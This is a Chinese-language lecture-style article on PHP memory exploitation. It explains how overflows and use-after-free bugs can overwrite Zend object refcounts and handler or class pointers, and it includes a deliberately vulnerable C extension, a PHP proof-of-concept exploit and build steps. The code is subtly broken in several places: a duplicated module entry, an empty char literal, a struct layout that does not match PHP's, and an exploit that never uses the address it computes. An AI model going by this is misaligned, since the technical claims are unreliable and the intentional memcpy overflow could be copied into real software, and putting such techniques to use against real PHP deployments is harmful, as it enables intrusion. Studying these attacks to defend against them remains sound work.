Zend 对象 Header 篡改:修改引用计数或类型指针实现权限提升
各位听众,大家好。今天我们来探讨一个在 PHP 安全领域中非常有趣且强大的攻击向量:Zend 对象 Header 的篡改。我们会深入研究如何利用漏洞来修改对象的引用计数或类型指针,从而实现权限提升或代码执行。
1. Zend 引擎的对象模型基础
在深入漏洞利用之前,我们需要对 Zend 引擎的对象模型有一个基本的了解。PHP 中的对象在底层是由 zend_object 结构体表示的。这个结构体是所有 PHP 对象的基类,包含了对象的基本信息,如类型信息和属性存储。
typedef struct _zend_object {
zend_object_handlers *handlers;
HashTable *properties;
zend_object *properties_table;
HashTable *guards;
zend_class_entry *ce;
zend_refcounted_h refcounted;
/* 省略其他成员 */
} zend_object;
typedef struct _zend_refcounted_h {
uint32_t refcount;
union {
struct {
uint32_t type_info;
} v;
uint32_t u;
} u;
} zend_refcounted_h;
我们可以看到几个关键成员:
handlers: 指向zend_object_handlers结构体,其中包含了对象的操作函数,例如属性读取、写入、方法调用等。properties: 指向对象的属性存储哈希表。ce: 指向对象的类条目 (Class Entry),其中包含了类的元数据,例如类名、方法、属性等。refcounted: 一个联合体,包含了对象的引用计数 (refcount) 和类型信息 (type_info)。
refcount 是一个非常重要的成员,它用于管理对象的生命周期。当一个对象被引用时,refcount 增加;当一个引用消失时,refcount 减少。当 refcount 变为 0 时,对象会被销毁。
type_info 存储了对象的确切类型信息。它通过位运算组合了多种标志,例如是否为引用、是否为持久对象等。重要的是,它也包含了对象真正的 zval 类型。
2. 漏洞的根本原因:内存破坏
Zend 对象 Header 篡改的根本原因通常是内存破坏漏洞。这些漏洞允许攻击者覆盖内存中的任意数据,包括 Zend 对象的 Header。常见的内存破坏漏洞包括:
- 缓冲区溢出 (Buffer Overflow): 当程序向缓冲区写入的数据超过其容量时,就会发生缓冲区溢出。这可能导致覆盖相邻的内存区域,包括 Zend 对象 Header。
- 格式化字符串漏洞 (Format String Vulnerability): 当程序使用用户提供的字符串作为格式化字符串时,就会发生格式化字符串漏洞。攻击者可以利用格式化字符串的特性来读取或写入内存中的任意位置。
- UAF (Use-After-Free): 释放对象后,如果程序仍然尝试访问该对象,就会发生 UAF。此时,对象所占用的内存可能已被重新分配给其他对象,导致数据损坏。
- Double Free: 对同一块内存执行两次free操作,会导致内存损坏,进而可能覆盖对象Header。
3. 利用引用计数篡改
引用计数 (refcount) 的篡改可以导致多种安全问题。
- 提前释放 (Early Free): 如果我们可以将一个对象的
refcount设置为 0,那么该对象会被提前释放。如果程序稍后尝试访问该对象,就会发生 UAF 漏洞。 - 延迟释放 (Delayed Free): 如果我们可以增加一个对象的
refcount,那么该对象可能会被延迟释放,导致内存泄漏。更重要的是,这可能导致对象在不应该存活的时间段内存活,从而为其他攻击创造机会。
案例:通过缓冲区溢出修改引用计数
假设我们有一个存在缓冲区溢出漏洞的 PHP 扩展。该扩展中的一个函数接受用户输入并将其复制到缓冲区中,但没有进行边界检查。
// 存在缓冲区溢出漏洞的 C 函数
PHP_FUNCTION(vuln_function) {
char buffer[64];
size_t len;
char *input;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STRING(input, len)
ZEND_PARSE_PARAMETERS_END();
// 没有进行边界检查,导致缓冲区溢出
memcpy(buffer, input, len);
RETURN_STRING(buffer);
}
现在,考虑以下 PHP 代码:
<?php
$obj = new stdClass(); // 创建一个标准对象
$vuln = vuln_function(str_repeat("A", 100)); // 触发缓冲区溢出
var_dump($obj); // 访问对象,可能触发 UAF
在这个例子中,vuln_function 函数中的缓冲区溢出可能会覆盖 obj 对象的 Header。如果我们能够精确地控制溢出的内容,我们就可以将 obj 对象的 refcount 设置为 0。当 vuln_function 返回后,obj 对象会被释放。当 var_dump($obj) 被调用时,就会发生 UAF 漏洞。
利用过程分析:
$obj = new stdClass();创建一个stdClass对象,并在内存中分配空间。$vuln = vuln_function(str_repeat("A", 100));调用存在缓冲区溢出漏洞的函数。- 由于
memcpy没有边界检查,input中的 100 个 "A" 会覆盖buffer及其相邻的内存区域。 - 通过精心构造
input的内容,我们可以覆盖obj对象的refcount字段。 var_dump($obj);尝试访问已被释放的obj对象,导致 UAF。
4. 利用类型指针篡改
类型指针,也就是 zend_object->handlers 和 zend_object->ce,指向对象的类型信息和操作函数。篡改这些指针可以导致更严重的后果,例如代码执行。
-
zend_object_handlers篡改:zend_object_handlers结构体包含了一系列函数指针,用于处理对象的各种操作,例如属性读取、写入、方法调用等。如果我们能够将zend_object->handlers指向一个我们控制的zend_object_handlers结构体,那么我们就可以控制对象的行为。例如,我们可以修改
read_property函数指针,使其指向我们自己的函数。当程序尝试读取对象的属性时,我们的函数会被调用,从而实现代码执行。 -
zend_class_entry篡改:zend_class_entry结构体包含了类的元数据,例如类名、方法、属性等。如果我们能够将zend_object->ce指向一个我们控制的zend_class_entry结构体,那么我们就可以修改对象的类信息。例如,我们可以修改
__toString方法的函数指针,使其指向我们自己的函数。当对象被强制转换为字符串时,我们的函数会被调用,从而实现代码执行。
案例:通过 UAF 修改类型指针
假设我们有一个存在 UAF 漏洞的 PHP 扩展。该扩展中的一个函数释放了一个对象,但没有将其指针设置为 NULL。
// 存在 UAF 漏洞的 C 函数
PHP_FUNCTION(free_object) {
zval *obj;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_ZVAL(obj)
ZEND_PARSE_PARAMETERS_END();
// 释放对象,但没有将其指针设置为 NULL
zend_object_store_del_ref(Z_OBJ_P(obj));
zend_object_std_dtor(Z_OBJ_P(obj));
efree(Z_OBJ_P(obj));
RETURN_TRUE;
}
现在,考虑以下 PHP 代码:
<?php
class MyClass {
public function __destruct() {
// 触发 __destruct 方法
}
}
$obj = new MyClass();
free_object($obj); // 释放对象
// 重新分配内存,覆盖之前释放的对象
$new_obj = new stdClass();
// 触发 UAF,访问已被释放的对象的 zend_object->handlers
$new_obj->trigger_uaf = $obj; // 尝试将释放的对象赋值给 $new_obj 的属性
利用过程分析:
$obj = new MyClass();创建一个MyClass对象,并在内存中分配空间。MyClass的析构函数__destruct()稍后会被调用。free_object($obj);调用存在 UAF 漏洞的函数,释放obj对象。$new_obj = new stdClass();重新分配内存。如果分配器将之前obj对象所占用的内存分配给new_obj,那么new_obj的内存区域将覆盖之前obj对象的内存区域。$new_obj->trigger_uaf = $obj;尝试将释放的对象$obj赋值给$new_obj的属性。由于$obj指向的内存已经被$new_obj覆盖,因此实际上是在访问$new_obj自身的内存。- 当 PHP 尝试访问
$obj的属性时,它会使用$new_obj的zend_object->handlers来进行属性读取操作。 - 如果我们可以控制
$new_obj的zend_object->handlers,我们就可以控制属性读取的行为,从而实现代码执行。
在这个案例中,攻击者可以通过控制 $new_obj 的类型和属性,来影响 $new_obj->trigger_uaf = $obj; 这行代码的行为。例如,攻击者可以创建一个自定义的类,并覆盖其 __get() 或 __set() 方法,从而在访问 $obj 的属性时执行任意代码。
5. 防御措施
Zend 对象 Header 篡改是一种非常危险的攻击向量,但也有一些防御措施可以采取:
- 修复内存破坏漏洞: 这是最根本的防御措施。开发人员应该仔细审查代码,避免缓冲区溢出、格式化字符串漏洞、UAF 等内存破坏漏洞。
- 地址空间布局随机化 (ASLR): ASLR 可以随机化内存地址,使得攻击者难以预测对象 Header 的位置。
- 数据执行保护 (DEP): DEP 可以防止在数据区域执行代码,从而阻止攻击者利用类型指针篡改执行恶意代码。
- 对象完整性检查: 可以在关键操作之前对对象 Header 进行完整性检查,例如检查引用计数是否有效,类型指针是否指向有效的结构体。
- 使用安全编程实践: 例如,避免使用不安全的函数,使用安全的内存管理方法,进行输入验证和过滤等。
6. 实战案例代码
以下代码演示了如何利用一个简单的缓冲区溢出漏洞来修改对象的引用计数。
C 扩展代码 (vuln.c):
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_vuln.h"
zend_module_entry vuln_module_entry = {
STANDARD_MODULE_HEADER,
"vuln",
NULL,
NULL,
NULL,
NULL,
NULL,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_VULN
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(vuln)
#endif
PHP_FUNCTION(vuln_function) {
char buffer[64];
size_t len;
char *input;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STRING(input, len)
ZEND_PARSE_PARAMETERS_END();
if (len > 128) {
php_error_docref(NULL, E_WARNING, "Input too long");
RETURN_FALSE;
}
// 没有进行边界检查,导致缓冲区溢出
memcpy(buffer, input, len);
buffer[len] = ''; // 确保字符串以 null 结尾
RETURN_STRING(buffer);
}
const zend_function_entry functions[] = {
PHP_FE(vuln_function, NULL)
PHP_FE_END
};
zend_module_entry vuln_module_entry = {
STANDARD_MODULE_HEADER,
"vuln",
functions,
NULL,
NULL,
NULL,
NULL,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_VULN
ZEND_GET_MODULE(vuln)
#endif
PHP 代码 (exploit.php):
<?php
// 加载扩展
dl('vuln.so');
// 创建一个对象
$obj = new stdClass();
// 获取对象的地址 (需要安装 gdb 和 php-debuginfo)
// 在 gdb 中使用 p zend_object_store_get_object($obj) 得到地址
// 这里假设地址是 0x7ffff7926000,需要根据实际情况修改
$obj_addr = 0x7ffff7926000; // 替换为实际地址
// 计算 refcount 的偏移量
// 在 gdb 中使用 p &((zend_object*)0)->refcount 得到偏移量
// 这里假设偏移量是 0x20,需要根据实际情况修改
$refcount_offset = 0x20; // 替换为实际偏移量
// 构造溢出 payload,将 refcount 设置为 0
$payload = str_repeat("A", 64); // 填充 buffer
$payload .= pack("Q", 0); // 将 refcount 设置为 0
// 触发缓冲区溢出
$vuln = vuln_function($payload);
// 尝试访问对象,触发 UAF
var_dump($obj);
?>
编译和运行:
- 编译 C 扩展:
phpize && ./configure && make && sudo make install - 修改
exploit.php中的$obj_addr和$refcount_offset为实际值 (使用 gdb 调试 PHP 进程获取)。 - 运行 PHP 代码:
php exploit.php
如果一切顺利,你应该会看到一个 UAF 错误。
7. 案例分析:CVE-2015-6834
CVE-2015-6834 是一个存在于 PHP 5.x 中的 UAF 漏洞,它允许攻击者通过操纵 Session 反序列化过程来触发 UAF,并最终导致代码执行。这个漏洞的根本原因在于,PHP 在反序列化 Session 数据时,没有正确处理对象之间的依赖关系,导致某些对象被提前释放。
攻击者可以构造一个恶意的 Session 数据,其中包含相互引用的对象。当 PHP 反序列化这些对象时,可能会先释放一个被其他对象引用的对象,导致 UAF。攻击者可以利用这个 UAF 来覆盖内存中的数据,例如修改对象的 zend_object->handlers 指针,从而实现代码执行。
8. 表格总结:漏洞与利用方式
| 漏洞类型 | 影响 | 利用方式 |
|---|---|---|
| 缓冲区溢出 | 覆盖相邻内存区域,包括对象 Header | 修改引用计数导致提前释放或延迟释放,修改类型指针指向恶意代码。 |
| 格式化字符串漏洞 | 读取或写入内存中的任意位置 | 精确控制内存写入,修改引用计数或类型指针。 |
| UAF | 访问已释放的内存,可能导致数据损坏 | 重新分配内存,覆盖已释放的对象,修改类型指针指向恶意代码。 |
| Double Free | 内存损坏,可能覆盖对象Header | 利用损坏的内存修改对象Header,例如修改引用计数或类型指针。 |
9. 一些想法
Zend 对象 Header 篡改是一个复杂而强大的攻击向量。理解 Zend 引擎的对象模型、内存破坏漏洞的原理以及各种利用技巧,对于提高 PHP 安全水平至关重要。希望今天的讲解能够帮助大家更好地理解这个攻击向量,并采取有效的防御措施。
最后一点想法,安全之路,永无止境。